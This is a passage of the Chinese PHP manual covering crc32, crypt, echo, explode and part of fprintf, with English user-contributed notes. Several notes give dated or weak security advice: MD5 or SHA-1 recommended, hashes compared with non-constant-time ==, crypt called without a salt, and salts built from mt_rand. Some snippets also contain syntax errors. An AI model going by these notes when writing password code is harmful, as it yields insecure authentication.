                0x6E, 0xAE, 0xAA, 0x6A, 0x6B, 0xAB, 0x69, 0xA9, 0xA8, 0x68, 0x78, 0xB8, 0xB9, 0x79, 0xBB,
                0x7B, 0x7A, 0xBA, 0xBE, 0x7E, 0x7F, 0xBF, 0x7D, 0xBD, 0xBC, 0x7C, 0xB4, 0x74, 0x75, 0xB5,
                0x77, 0xB7, 0xB6, 0x76, 0x72, 0xB2, 0xB3, 0x73, 0xB1, 0x71, 0x70, 0xB0, 0x50, 0x90, 0x91,
                0x51, 0x93, 0x53, 0x52, 0x92, 0x96, 0x56, 0x57, 0x97, 0x55, 0x95, 0x94, 0x54, 0x9C, 0x5C,
                0x5D, 0x9D, 0x5F, 0x9F, 0x9E, 0x5E, 0x5A, 0x9A, 0x9B, 0x5B, 0x99, 0x59, 0x58, 0x98, 0x88,
                0x48, 0x49, 0x89, 0x4B, 0x8B, 0x8A, 0x4A, 0x4E, 0x8E, 0x8F, 0x4F, 0x8D, 0x4D, 0x4C, 0x8C,
                0x44, 0x84, 0x85, 0x45, 0x87, 0x47, 0x46, 0x86, 0x82, 0x42, 0x43, 0x83, 0x41, 0x81, 0x80,
                0x40);
    $length        =($length<=0?strlen($string):$length);
    $uchCRCHi    =0xFF;
    $uchCRCLo    =0xFF;
    $uIndex        =0;
    for ($i=0;$i<$length;$i++){
        $uIndex        =$uchCRCLo ^ ord(substr($string,$i,1));
        $uchCRCLo    =$uchCRCHi ^ $auchCRCHi[$uIndex];
        $uchCRCHi    =$auchCRCLo[$uIndex] ;
    }
    return(chr($uchCRCLo).chr($uchCRCHi));
}
?>
Bulk at bulksplace dot com 27-Aug-2005 05:46
A faster way I've found to return CRC values of larger files, is instead of using the file()/implode() method used below, is to us file_get_contents() (PHP 4 >= 4.3.0) which uses memory mapping techniques if supported by your OS to enhance performance. Here's my example function:

<?php
// $file is the path to the file you want to check.
function file_crc($file)
{
    $file_string = file_get_contents($file);

    $crc = crc32($file_string);

    return sprintf("%u", $crc);
}

$file_to_crc = /home/path/to/file.jpg;

echo file_crc($file_to_crc); // Outputs CRC value for given file.
?>

I've found in testing this method is MUCH faster for larger binary files.
waldomonster at netjukebox dot demon dot nl 23-Apr-2004 08:48
<?php
$data = 'dot';
echo dechex(crc32($data));
?>

Returns 59278a3
Witch is missing a leading zero.

<?php
$data = 'dot';
echo str_pad(dechex(crc32($data)), 8, '0', STR_PAD_LEFT);
?>

Returns the correct string: 059278a3
arachnid at notdot dot net 13-Apr-2004 08:44
Note that the CRC32 algorithm should NOT be used for cryptographic purposes, or in situations where a hostile/untrusted user is involved, as it is far too easy to generate a hash collision for CRC32 (two different binary strings that have the same CRC32 hash). Instead consider SHA-1 or MD5.
same 01-Feb-2004 05:27
bit by bit crc32 computation

<?php

function bitbybit_crc32($str,$first_call=false){

    //reflection in 32 bits of crc32 polynomial 0x04C11DB7
    $poly_reflected=0xEDB88320;

    //=0xFFFFFFFF; //keep track of register value after each call
    static $reg=0xFFFFFFFF;

    //initialize register on first call
    if($first_call) $reg=0xFFFFFFFF;

    $n=strlen($str);
    $zeros=$n<4 ? $n : 4;

    //xor first $zeros=min(4,strlen($str)) bytes into the register
    for($i=0;$i<$zeros;$i++)
        $reg^=ord($str{$i})<<$i*8;

    //now for the rest of the string
    for($i=4;$i<$n;$i++){
        $next_char=ord($str{$i});
        for($j=0;$j<8;$j++)
            $reg=(($reg>>1&0x7FFFFFFF)|($next_char>>$j&1)<<0x1F)
                ^($reg&1)*$poly_reflected;
    }

    //put in enough zeros at the end
    for($i=0;$i<$zeros*8;$i++)
        $reg=($reg>>1&0x7FFFFFFF)^($reg&1)*$poly_reflected;

    //xor the register with 0xFFFFFFFF
    return ~$reg;
}

$str="123456789"; //whatever
$blocksize=4; //whatever

for($i=0;$i<strlen($str);$i+=$blocksize) $crc=bitbybit_crc32(substr($str,$i,$blocksize),!$i);

?>
quix at free dot fr 05-May-2003 01:19
I needed the crc32 of a file that was pretty large, so I didn't want to read it into memory.
So I made this:

<?php
    $GLOBALS['__crc32_table']=array();        // Lookup table array
    __crc32_init_table();

    function __crc32_init_table() {            // Builds lookup table array
        // This is the official polynomial used by
        // CRC-32 in PKZip, WinZip and Ethernet.
        $polynomial = 0x04c11db7;

        // 256 values representing ASCII character codes.
        for($i=0;$i <= 0xFF;++$i) {
            $GLOBALS['__crc32_table'][$i]=(__crc32_reflect($i,8) << 24);
            for($j=0;$j < 8;++$j) {
                $GLOBALS['__crc32_table'][$i]=(($GLOBALS['__crc32_table'][$i] << 1) ^
                    (($GLOBALS['__crc32_table'][$i] & (1 << 31))?$polynomial:0));
            }
            $GLOBALS['__crc32_table'][$i] = __crc32_reflect($GLOBALS['__crc32_table'][$i], 32);
        }
    }

    function __crc32_reflect($ref, $ch) {        // Reflects CRC bits in the lookup table
        $value=0;

        // Swap bit 0 for bit 7, bit 1 for bit 6, etc.
        for($i=1;$i<($ch+1);++$i) {
            if($ref & 1) $value |= (1 << ($ch-$i));
            $ref = (($ref >> 1) & 0x7fffffff);
        }
        return $value;
    }

    function __crc32_string($text) {        // Creates a CRC from a text string
        // Once the lookup table has been filled in by the two functions above,
        // this function creates all CRCs using only the lookup table.

        // You need unsigned variables because negative values
        // introduce high bits where zero bits are required.
        // PHP doesn't have unsigned integers:
        // I've solved this problem by doing a '&' after a '>>'.

        // Start out with all bits set high.
        $crc=0xffffffff;
        $len=strlen($text);

        // Perform the algorithm on each character in the string,
        // using the lookup table values.
        for($i=0;$i < $len;++$i) {
            $crc=(($crc >> 8) & 0x00ffffff) ^ $GLOBALS['__crc32_table'][($crc & 0xFF) ^ ord($text{$i})];
        }

        // Exclusive OR the result with the beginning value.
        return $crc ^ 0xffffffff;
    }

    function __crc32_file($name) {            // Creates a CRC from a file
        // Info: look at __crc32_string

        // Start out with all bits set high.
        $crc=0xffffffff;

        if(($fp=fopen($name,'rb'))===false) return false;

        // Perform the algorithm on each character in file
        for(;;) {
            $i=@fread($fp,1);
            if(strlen($i)==0) break;
            $crc=(($crc >> 8) & 0x00ffffff) ^ $GLOBALS['__crc32_table'][($crc & 0xFF) ^ ord($i)];
        }

        @fclose($fp);

        // Exclusive OR the result with the beginning value.
        return $crc ^ 0xffffffff;
    }
?>
spectrumizer at cycos dot net 29-Dec-2002 03:30
Here is a tested and working CRC16-Algorithm:

<?php
function crc16($string) {
  $crc = 0xFFFF;
  for ($x = 0; $x < strlen ($string); $x++) {
    $crc = $crc ^ ord($string[$x]);
    for ($y = 0; $y < 8; $y++) {
      if (($crc & 0x0001) == 0x0001) {
        $crc = (($crc >> 1) ^ 0xA001);
      } else { $crc = $crc >> 1; }
    }
  }
  return $crc;
}
?>

Regards,
Mario


单向字符串散列

  • ? crc32
  • echo ?
  • PHP Manual
  • 字符串 函数
  • 单向字符串散列

crypt

(PHP 4, PHP 5, PHP 7, PHP 8)

crypt — 单向字符串散列

Warning

此函数（还）不能安全地适用于二进制对象！

说明

crypt(string $string, string $salt): string

crypt() 返回基于标准 UNIX DES
算法或替代算法的散列字符串。password_verify()
兼容 crypt()。因此，由 crypt()
创建的密码散列可以跟 password_verify() 一起使用。

在 PHP 8.0.0 之前，salt 参数是可选的。然而，如果没有 salt，crypt() 会创建弱散列。在没有它的情况下引发 E_NOTICE 级别的错误。为了更好的安全性，请确保指定足够强度的盐值。

password_hash() 使用了强散列，产生足够强的盐值，并自动应用合适的轮次。password_hash() 是crypt() 的简单封装，并且与现有的密码散列兼容。推荐使用 password_hash()。

散列类型由盐值参数触发。如果没有提供盐值，PHP 将自动生成一个 2 个字符（DES）或者 12 个字符（MD5）的盐值 ，这取决于 MD5 crypt() 的可用性。PHP 设置了名为 CRYPT_SALT_LENGTH 的常量，用来表示可用散列允许的最长有效盐值。

基于标准 DES 算法的 crypt() 在输出内容的开始位置返回两个字符的盐值。它也只使用 string 的开始 8 个字符，所以更长的以相同 8 个字符开始的字符串也将生成相同的结果（当使用了相同的盐值时）。

支持以下散列类型：

  • CRYPT_STD_DES - 基于标准 DES 算法的散列使用 "./0-9A-Za-z" 字符中的两个字符作为盐值。在盐值中使用非法的字符将导致 crypt() 失败。
  • CRYPT_EXT_DES - 扩展的基于 DES 算法的散列。"sale" 为 9 个字符的字符串，由 1 个下划线后面跟着 4 字符循环次数和 4 字符盐值组成。这些 4 字符字符串都编码为 24 字节，最低有效位在前。值 0 到 63 被编码为 ./0-9A-Za-z。在盐值中使用非法的字符将导致 crypt() 失败。
  • CRYPT_MD5 - MD5 散列使用一个以 $1$ 开始的 12 字符的字符串盐值。
  • CRYPT_BLOWFISH - Blowfish 散列使用如下盐值："$2a$"、"$2x$" 或 "$2y$"，两位 cost 参数，"$" 以及 22 位由 "./0-9A-Za-z" 中的字符组合而成的字符串。在盐值中使用此范围之外的字符将导致 crypt() 返回一个空字符串。两位 cost 参数是循环次数以 2 为底的对数，它的范围是 04-31，超出这个范围将导致 crypt() 失败。 "$2x$" 可能很弱，"$2x$" 散列对其兼容并增强安全性。对于新的散列，应该使用"$2y$"。
  • CRYPT_SHA256 - SHA-256 算法使用一个以 $5$ 开头的 16 字符字符串盐值进行散列。如果盐值字符串以 "rounds=<N>$" 开头，N 的数字值将被用来指定散列循环的执行次数，这点很像 Blowfish 算法的 cost 参数。默认的循环次数是 5000，最小是 1000，最大是 999,999,999。超出这个范围的 N 将会被转换为最接近的值。
  • CRYPT_SHA512 - SHA-512 算法使用一个以 $6$ 开头的 16 字符字符串盐值进行散列。如果盐值字符串以 "rounds=<N>$" 开头，N 的数字值将被用来指定散列循环的执行次数，这点很像 Blowfish 算法的 cost 参数。默认的循环次数是 5000，最小是 1000，最大是 999,999,999。超出这个范围的 N 将会被转换为最接近的值。

参数

string

待散列的字符串。

Caution

使用 CRYPT_BLOWFISH 算法将导致 string 被裁剪为一个最长72 字节的字符串。

salt

盐值字符串。如果没有提供，算法行为将由不同的算法实现决定，并可能导致不可预料的结束。

返回值

返回散列后的字符串或一个少于 13 字符的字符串，从而保证在失败时与盐值区分开来。

Warning

当校验密码时，应该使用一个不容易被时间攻击的字符串比较函数来比较crypt()的输出与之前已知的散列。出于这个目的，PHP 提供了hash_equals()。

更新日志

版本 | 说明
8.0.0 | salt不再可选。

示例

Example #1 crypt() 示例

<?php
$user_input = 'rasmuslerdorf';
$hashed_password = '$6$rounds=1000000$NJy4rIPjpOaU$0ACEYGg/aKCY3v8O8AfyiO7CTfZQ8/W231Qfh2tRLmfdvFD6XfHk12u6hMr9cYIA4hnpjLNSTRtUwYr9km9Ij/';

// 验证现有的 crypt() 哈希值，以便与非 PHP 软件兼容。
if (hash_equals($hashed_password, crypt($user_input, $hashed_password))) {
echo "Password verified!";
}
?>

注释

Note: 由于 crypt() 使用的是单向算法，因此不存在 decrypt 函数。

参见

  • hash_equals() - 可防止时序攻击的字符串比较
  • password_hash() - 创建密码的散列（hash）
  • 更多关于 crypt 函数的信息，请阅读 Unix man 页面

User Contributed Notes

Joey 31-Oct-2017 12:30
While the documentation says that crypt will fail for DES if the salt is invalid, this turns out to not be the case.

The crypt function will accept any string of two characters or more for DES as long as it doesn't match the pattern for any other hashing schema. The remaining characters will be ignored.
Anonymous 28-Oct-2017 11:03
steve at tobtu dot com was right 4 years ago, but now mcrypt_create_iv()  (and bcrypt in general) is deprecated!

Use random_bytes() instead:

<?php
$salt = base64_encode(random_bytes(16));
bob dot orr at mailinator dot com 09-Feb-2015 02:10
The #2 comment on this comments page (as of Feb 2015) is 9 years old and recommends phpass.  I have independently security audited this product and, while it continues to be recommended for password security, it is actually insecure and should NOT be used.  It hasn't seen any updates in years (still at v0.3) and there are more recent alternatives such as using the newer built-in PHP password_hash() function that are much better.  Everyone, please take a few moments to confirm what I'm saying is accurate (i.e. review the phpass code for yourself) and then click the down arrow to sink the phpass comment to the bottom.  You'll be increasing security across the Internet by doing so.

For those who want details:  md5() with microtime() are a fallback position within the source code of phpass.  Instead of terminating, it continues to execute code.  The author's intentions of trying to work everywhere are admirable but, when it comes to application security, that stance actually backfires.  The only correct answer in a security context is to terminate the application rather than fallback to a weak position that can potentially be exploited (usually by forcing that weaker position to happen).
ian+php dot net at eiloart dot ocm 16-May-2014 12:46
If you're stuck with CRYPT_EXT_DES, then you'll want to pick a number of iterations: the 2nd-5th characters of the "salt".

My experimentation suggests that the 5th character is the most significant. A '.' is a zero and 'Z' is the highest value. Using all dots will create an error: all passwords will be encrypted to the same value.

Here are some encryption timings (in seconds) that I obtained, with five different iteration counts over the same salt, and the same password, on a quad core 2.66GHz Intel Xeon machine.

_1111 time: 0.15666794776917
_J9.Z time: 1.8860530853271
_J9.. time: 0.00015401840209961
_...Z time: 1.9095730781555
_ZZZZ time: 1.9124970436096
_...A time: 0.61211705207825

I think a half a second is reasonable for an application, but for the back end authentication? I'm not so sure: there's a significant risk of overloading the back end if we're getting lots of authentication requests.
Marten Jacobs 07-Jan-2014 09:57
As I understand it, blowfish is generally seen a secure hashing algorithm, even for enterprise use (correct me if I'm wrong). Because of this, I created functions to create and check secure password hashes using this algorithm, and using the (also deemed cryptographically secure) openssl_random_pseudo_bytes function to generate the salt.

<?php
/*
 * Generate a secure hash for a given password. The cost is passed
 * to the blowfish algorithm. Check the PHP manual page for crypt to
 * find more information about this setting.
 */
function generate_hash($password, $cost=11){
        /* To generate the salt, first generate enough random bytes. Because
         * base64 returns one character for each 6 bits, the we should generate
         * at least 22*6/8=16.5 bytes, so we generate 17. Then we get the first
         * 22 base64 characters
         */
        $salt=substr(base64_encode(openssl_random_pseudo_bytes(17)),0,22);
        /* As blowfish takes a salt with the alphabet ./A-Za-z0-9 we have to
         * replace any '+' in the base64 string with '.'. We don't have to do
         * anything about the '=', as this only occurs when the b64 string is
         * padded, which is always after the first 22 characters.
         */
        $salt=str_replace("+",".",$salt);
        /* Next, create a string that will be passed to crypt, containing all
         * of the settings, separated by dollar signs
         */
        $param='$'.implode('$',array(
                "2y", //select the most secure version of blowfish (>=PHP 5.3.7)
                str_pad($cost,2,"0",STR_PAD_LEFT), //add the cost in two digits
                $salt //add the salt
        ));

        //now do the actual hashing
        return crypt($password,$param);
}

/*
 * Check the password against a hash generated by the generate_hash
 * function.
 */
function validate_pw($password, $hash){
        /* Regenerating the with an available hash as the options parameter should
         * produce the same hash if the same password is passed.
         */
        return crypt($password, $hash)==$hash;
}
?>
jette at nerdgirl dot dk 25-Apr-2013 07:48
The crypt() function cant handle plus signs correctly. So if for example you are using crypt in a login function, use urlencode on the password first to make sure that the login procedure can handle any character:

<?php
$user_input =  '12+#?345';
$pass = urlencode($user_input));
$pass_crypt = crypt($pass);

if ($pass_crypt == crypt($pass, $pass_crypt)) {
  echo "Success! Valid password";
} else {
  echo "Invalid password";
}
?>
steve at tobtu dot com 13-Jan-2013 12:26
To generate salt use mcrypt_create_iv() not mt_rand() because no matter how many times you call mt_rand() it will only have at most 32 bits of entropy. Which you will start seeing salt collisions after about 2^16 users. mt_rand() is seeded poorly so it should happen sooner.

For bcrypt this will actually generate a 128 bit salt:
<?php $salt = strtr(base64_encode(mcrypt_create_iv(16, MCRYPT_DEV_URANDOM)), '+', '.'); ?>

*** Bike shed ***
The last character in the 22 character salt is 2 bits.
base64_encode() will have these four character "AQgw"
bcrypt will have these four character ".Oeu"

You don't need to do a full translate because they "round" to different characters:
echo crypt('', '$2y$05$.....................A') . "\n";
echo crypt('', '$2y$05$.....................Q') . "\n";
echo crypt('', '$2y$05$.....................g') . "\n";
echo crypt('', '$2y$05$.....................w') . "\n";

$2y$05$......................J2ihDv8vVf7QZ9BsaRrKyqs2tkn55Yq
$2y$05$.....................O/jw2XygQa2.LrIT7CFCBQowLowDP6Y.
$2y$05$.....................eDOx4wMcy7WU.kE21W6nJfdMimsBE3V6
$2y$05$.....................uMMcgjnOELIa6oydRivPkiMrBG8.aFp.
kaminski at istori dot com 05-Feb-2011 03:43
Here is an expression to generate pseudorandom salt for the CRYPT_BLOWFISH hash type:

<?php $salt = substr(str_replace('+', '.', base64_encode(pack('N4', mt_rand(), mt_rand(), mt_rand(), mt_rand()))), 0, 22); ?>

It is intended for use on systems where mt_getrandmax() == 2147483647.

The salt created will be 128 bits in length, padded to 132 bits and then expressed in 22 base64 characters.  (CRYPT_BLOWFISH only uses 128 bits for the salt, even though there are 132 bits in 22 base64 characters.  If you examine the CRYPT_BLOWFISH input and output, you can see that it ignores the last four bits on input, and sets them to zero on output.)

Note that the high-order bits of the four 32-bit dwords returned by mt_rand() will always be zero (since mt_getrandmax == 2^31), so only 124 of the 128 bits will be pseudorandom.  I found that acceptable for my application.


输出一个或多个字符串

  • ? crypt
  • explode ?
  • PHP Manual
  • 字符串 函数
  • 输出一个或多个字符串

echo

(PHP 4, PHP 5, PHP 7, PHP 8)

echo — 输出一个或多个字符串

说明

echo(string ...$expressions): void

输出一个或多个表达式，没有额外的换行符或者空格。

echo 不是函数，而是语言结构。它的参数是表达式列表，跟在 echo 关键字后面，用逗号分隔，不用括号分隔。与其它的返回结构不同，echo 没有返回值，因为不能在表达式的上下文中使用。

echo 也有快捷语法，可以在开始标记后直接跟等号。即使禁用了 short_open_tag 配置，此语法也可用。

I have <?=$foo?> foo.

跟 print 的主要区别是 echo 接受多个参数且没有返回值。

参数

expressions

要输出的一个或多个字符串表达式，用逗号分隔。即使启用 strict_types 指令，非字符串值也会强制转换为字符串。

返回值

没有返回值。

示例

Example #1 echo 示例

<?php
echo "echo does not require parentheses.";

// 字符串可以作为多个参数单独传递，
// 也可以连接在一起作为单个参数传递
echo 'This ', 'string ', 'was ', 'made ', 'with multiple parameters.', "\n";
echo 'This ' . 'string ' . 'was ' . 'made ' . 'with concatenation.' . "\n";

// 不会有新行或者空格；下面将会在一行中输出"helloworld"
echo "hello";
echo "world";

// 跟上面一样
echo "hello", "world";

echo "This string spans
multiple lines. The newlines will be
output as well";

echo "This string spans\nmultiple lines. The newlines will be\noutput as well.";

// 参数是可以产生字符串的任意表达式
$foo = "example";
echo "foo is $foo"; // foo is example

$fruits = ["lemon", "orange", "banana"];
echo implode(" and ", $fruits); // lemon and orange and banana

// 即使使用 declare(strict_types=1)，非字符串表达式也会强制转换字符串
echo 6 * 7; // 42

// 因为 echo 的表现跟表达式不同，所以下面的代码无效。
($some_var) ? echo 'true' : echo 'false';

// 但是，下面的示例又正常：
($some_var) ? print 'true' : print 'false'; // print 也是语言结构，
// 但它是有效的表达式，返回 1，
// 所以可以在此上下文中使用。

echo $some_var ? 'true': 'false'; // 首先运行表达式然后传递它到 echo
?>

注释

Note: 因为是语言构造器而不是函数，不能被 可变函数 或者 命名参数 调用。

Note: 使用括号

使用括号括住 echo 后的单个参数并不会引发语法错误，而且还会产生看起来像普通函数调用的语法。但是，这可能会产生误导，因为括号实际上是输出表达式的一部分，而不是 echo 语法本身的一部分。

<?php
echo "hello";
// 输出"hello"

echo("hello");
// 也会输出"hello"，因为 ("hello") 是有效表达式

echo(1 + 2) * 3;
// 输出"9"；首先对括号内的 1+2 求值，然后 echo 语句将
// 整个表达式 3*3 视为一个参数

echo "hello", " world";
// 输出"hello world"

echo("hello"), (" world");
// 输出"hello world"；括号是每个表达式的一部分

echo("hello", " world");
// 抛出解析错误，因为 ("hello", " world") 不是有效的表达式
?>

Tip

将多个参数传递给 echo 可以避免 PHP 中连接运算符中优先级引起的复杂性。例如，连接运算符的优先级高于三元运算符，在 PHP 8.0.0 之前与加减法具有相同的优先级。

<?php
// 下面的表达式 'Hello ' . isset($name) 将首先求值，
// 因为始终为 true，所以 echo 的参数始终是 $name
echo 'Hello ' . isset($name) ? $name : 'John Doe' . '!';

// 预期的行为需要额外的括号
echo 'Hello ' . (isset($name) ? $name : 'John Doe') . '!';

// 在 PHP 8.0.0 之前，下面会输出"2"，而不是"Sum: 3"
echo 'Sum: ' . 1 + 2;

// 再次添加括号以确保期望的求值顺序
echo 'Sum: ' . (1 + 2);

如果传递多个参数，则不需要括号来强制执行优先级，因为每个表达式都是独立的：

<?php
echo "Hello ", isset($name) ? $name : "John Doe", "!";

echo "Sum: ", 1 + 2;

参见

  • print - 输出字符串
  • printf() - 输出格式化字符串
  • flush() - 刷新系统输出缓冲区
  • 指定文本字符串的方式

User Contributed Notes

retrobytespr at mail dot com 08-Feb-2022 09:39
If you have a large block of text, say your blog or something includes code examples, you may use the <<< operator (?) to define the start and end of your block to be echoed out. For instance:

<?php
echo <<< JAVASCRIPT

function convertTroyOuncesToGrams(troyOunce) {
    return troyOunce / 31.1034768;
}

JAVASCRIPT; # End of block

?>

You may also embed PHP strings and other simple scalars into your blocks of text, for example:

<?php
$troyOunceAsGrams = 31.1034768;

echo <<< JAVASCRIPT

function convertTroyOuncesToGrams(troyOunce) {
    return troyOunce / {$troyOunceAsGrams};
}

JAVASCRIPT;
t3tesla at gmail dot com 15-Jul-2021 10:43
We can use the 'echo' shortcut syntax with the conditional operator (expr1) ? (expr2) : (expr3)

<?php
$some_var = 10;
?>
Back to html :
<p class="<?=$some_var>5 ? "class1" : "class2"?>">Some text.</p>

Will give :  <p class="class1">Some text.</p>

<?php
$some_var = 4;
?>
<p class="<?=$some_var>5 ? "class1" : "class2"?>">Some text.</p>

Will give :  <p class="class2">Some text.</p>
mparsa1372 at gmail dot com 12-Mar-2021 03:14
The following example shows how to output text with the echo command (notice that the text can contain HTML markup):

<?php
echo "<h2>PHP is Fun!</h2>";
echo "Hello world!<br>";
echo "I'm about to learn PHP!<br>";
echo "This ", "string ", "was ", "made ", "with multiple parameters.";
?>
pemapmodder1970 at gmail dot com 28-Mar-2017 02:51
Passing multiple parameters to echo using commas (',')is not exactly identical to using the concatenation operator ('.'). There are two notable differences.

First, concatenation operators have much higher precedence. Referring to http://php.net/operators.precedence, there are many operators with lower precedence than concatenation, so it is a good idea to use the multi-argument form instead of passing concatenated strings.

<?php
echo "The sum is " . 1 | 2; // output: "2". Parentheses needed.
echo "The sum is ", 1 | 2; // output: "The sum is 3". Fine.
?>

Second, a slightly confusing phenomenon is that unlike passing arguments to functions, the values are evaluated one by one.

<?php
function f($arg){
  var_dump($arg);
  return $arg;
}
echo "Foo" . f("bar") . "Foo";
echo "\n\n";
echo "Foo", f("bar"), "Foo";
?>

The output would be:
string(3) "bar"FoobarFoo

Foostring(3) "bar"
barFoo

It would become a confusing bug for a script that uses blocking functions like sleep() as parameters:

<?php
while(true){
  echo "Loop start!\n", sleep(1);
}
?>

vs

<?php
while(true){
  echo "Loop started!\n" . sleep(1);
}
?>

With ',' the cursor stops at the beginning every newline, while with '.' the cursor stops after the 0 in the beginning every line (because sleep() returns 0).


使用一个字符串分割另一个字符串

  • ? echo
  • fprintf ?
  • PHP Manual
  • 字符串 函数
  • 使用一个字符串分割另一个字符串

explode

(PHP 4, PHP 5, PHP 7, PHP 8)

explode — 使用一个字符串分割另一个字符串

说明

explode(string $separator, string $string, int $limit = PHP_INT_MAX): array

此函数返回由字符串组成的数组，每个元素都是 string 的一个子串，它们被字符串 separator 作为边界点分割出来。

参数

separator

边界上的分隔字符。

string

输入的字符串。

limit

如果设置了 limit 参数并且是正数，则返回的数组包含最多 limit 个元素，而最后那个元素将包含 string 的剩余部分。

如果 limit 参数是负数，则返回除了最后的 -limit 个元素外的所有元素。

如果 limit 是 0，则会被当做 1。

Note:

在 PHP 8.0 之前，implode() 可以接收两种参数顺序。 但请注意，explode() 从未支持乱序传入参数：你必须保证 separator 参数在 string 参数之前。

返回值

此函数返回由字符串组成的 array，每个元素都是 string 的一个子串，它们被字符串 separator 作为边界点分割出来。

如果 separator 为空字符串（""），explode() 将抛出 ValueError。 如果 separator 所包含的值在 string 中找不到，并且使用了负数的 limit ， 那么会返回空的 array， 否则返回包含 string 单个元素的数组。 如果 separator 值出现在了 string 参数的开头或末尾， 将在返回 array 相应的头部或尾部添加 array 空值。

更新日志

版本 | 说明
8.0.0 | 现在开始，当 separator 参数传入空字符串时（""）， explode() 会抛出 ValueError。 在早期版本中，explode() 会返回 false。

示例

Example #1 explode() 例子

<?php
// 示例 1
$pizza = "piece1 piece2 piece3 piece4 piece5 piece6";
$pieces = explode(" ", $pizza);
echo $pieces[0]; // piece1
echo $pieces[1]; // piece2

// 示例 2
$data = "foo:*:1023:1000::/home/foo:/bin/sh";
list($user, $pass, $uid, $gid, $gecos, $home, $shell) = explode(":", $data);
echo $user; // foo
echo $pass; // *

?>

Example #2 explode() return examples

<?php
/*
字符串内不包含分隔字符时，
会简单返回只有一个原始字符串元素的 array。
*/
$input1 = "hello";
$input2 = "hello,there";
$input3 = ',';
var_dump( explode( ',', $input1 ) );
var_dump( explode( ',', $input2 ) );
var_dump( explode( ',', $input3 ) );

?>

以上示例会输出：

array(1)
(
    [0] => string(5) "hello"
)
array(2)
(
    [0] => string(5) "hello"
    [1] => string(5) "there"
)
array(2)
(
    [0] => string(0) ""
    [1] => string(0) ""
)

Example #3 limit 参数的例子

<?php
$str = 'one|two|three|four';

// 正数的 limit
print_r(explode('|', $str, 2));

// 负数的 limit
print_r(explode('|', $str, -1));
?>

以上示例会输出：

Array
(
    [0] => one
    [1] => two|three|four
)
Array
(
    [0] => one
    [1] => two
    [2] => three
)

注释

Note: 此函数可安全用于二进制对象。

参见

  • preg_split() - 通过一个正则表达式分隔字符串
  • str_split() - 将字符串转换为数组
  • mb_split() - 使用正则表达式分割多字节字符串
  • str_word_count() - 返回字符串中单词的使用情况
  • strtok() - 标记分割字符串
  • implode() - 用字符串连接数组元素

User Contributed Notes

marc 10-Nov-2023 01:12
If your data is smaller than the expected count with the list expansion:

<?php
$data = "foo:*:1023:1000::/home/foo:/bin/sh";
list($user, $pass, $uid, $gid, $gecos, $home, $shell,$nu) = explode(":", $data);
?>

The result is a warning not an error:

PHP Warning:  Undefined array key 7 in ...

The solution is to pad the array to the expected length:

<?php
$data = "foo:*:1023:1000::/home/foo:/bin/sh";
list($user, $pass, $uid, $gid, $gecos, $home, $shell,$nu) = array_pad( explode(":", $data), 8, "");
// where 8 is the count of the list arguments
?>
Alejandro-Ihuit 06-Oct-2022 03:04
If you want to directly take a specific value without having to store it in another variable, you can implement the following:

$status = 'Missing-1';

echo $status_only = explode('-', $status)[0];

// Missing
Gerben 19-Mar-2022 11:53
Note that an empty input string will still result in one element in the output array. This is something to remember when you are processing unknown input.

For example, maybe you are splitting part of a URI by forward slashes (like "articles/42/show" => ["articles", "42", "show"]). And maybe you expect that an empty URI will result in an empty array ("" => []). Instead, it will contain one element, with an empty string:

<?php

$uri = '';
$parts = explode('/', $uri);
var_dump($parts);

?>

Will output:

array(1) {
  [0]=>
  string(0) ""
}

And not:

array(0) {
}
bocoroth 10-Feb-2021 09:42
Be careful, while most non-alphanumeric data types as input strings return an array with an empty string when used with a valid separator, true returns an array with the string "1"!

var_dump(explode(',', null)); //array(1) { [0]=> string(0) "" }
var_dump(explode(',', false)); //array(1) { [0]=> string(0) "" }

var_dump(explode(',', true)); //array(1) { [0]=> string(1) "1" }


将格式化后的字符串写入到流

  • ? explode
  • get_html_translation_table ?
  • PHP Manual
  • 字符串 函数
  • 将格式化后的字符串写入到流

fprintf

(PHP 5, PHP 7, PHP 8)

fprintf — 将格式化后的字符串写入到流

说明

fprintf(resource $stream, string $format, mixed ...$values): int

写入根据 format 格式化后的字符串到由 stream 句柄打开的流中。

参数

stream

文件系统指针，是典型地由 fopen() 创建的 resource(资源)。

format

format 字符串通常由零或多个指令组成：普通字符（不包含 %）——直接复制到结果，转换规范——获取每个参数的结果。

转换规范遵循此原型： %[argnum$][flags][width][.precision]specifier.

Argnum

整数后跟美元符号 $，用于指定转换中要处理的参数数量。

标志
标志 | 说明
- 在指定字段宽度时左对齐，默认右对齐
+ 正数的加号 +前缀，默认负数的前缀是负号。
(space) | 空格填充结果。这是默认设置。
0 | 仅用 0 进行左侧数字填充。使用 s 标志符可以右侧填充。
'(char) | 用字符（char）填充结果。

Width

要么是整数，表示转换结果应该有多少个字符（最少），要么是 *。如果使用 *，那么宽度将作为额外的整数值提供，位于格式化符号之前。

Precision

小数点 .，可选的后跟整数或者 *，其含义取决于格式化符号：

  • e、E、f、F 标志符：小数点后需要打印的位数（默认是 6）。
  • g、G、h、H 标志符：这是要打印的最大有效位数。
  • s 标志符：充当分界点，为字符串设置最大字符限制。

Note: 如果小数点没有明确的精度值，则假设是 0。如果使用 *，则精度将作为额外的整数值提供，位于格式化符号之前。

标志符
标志符 | 说明
% 字面意思的百分号字符。不需要参数。
b | 参数视为整数并以二进制数字呈现。
c | 参数视为整数并以 ASCII 字符呈现。
d | 参数视为整数并以（有符号）十进制数字呈现。
e | 参数当做科学符号处理（例如 1.2e+2）。
E | 与 e 标志符相同，但使用大写字母（例如 1.2E+2）。
f | 参数当做浮点数处理且作为浮点数呈现（locale aware）。
F | 参数当做浮点数处理且作为浮点数呈现（non-locale aware）。
g

通用格式。

Let P equal the precision if nonzero, 6 if the precision is omitted, or 1 if the precision is zero. Then, if a conversion with style E would have an exponent of X:

If P > X ≥ ?4, the conversion is with style f and precision P ? (X + 1). Otherwise, the conversion is with style e and precision P ? 1.

G | Like the g specifier but uses E and f.
h | Like the g specifier but uses F. Available as of PHP 8.0.0.
H | Like the g specifier but uses E and F. Available as of PHP 8.0.0.
o | 参数视为整数并以八进制数字来呈现。
s | 参数视为字符串来呈现。
u | 参数视为整数并以无符号十进制数字呈现。
x | 参数视为整数并作为十六进制数字呈现（带小写字母）。
X | 参数视为整数并作为十六进制数字呈现（带大写字母）。

Warning

c 类型标志符忽略填充和宽度

Warning

Attempting to use a combination of the string and width specifiers with character sets that require more than one byte per character may result in unexpected results

变量将会强制转换为适合标志符的类型：

类型处理
类型 | 标志符
string | s
int | d, u, c, o, x, X, b
float | e, E, f, F, g, G, h, H

values

返回值

返回写入的字符串长度。

错误／异常

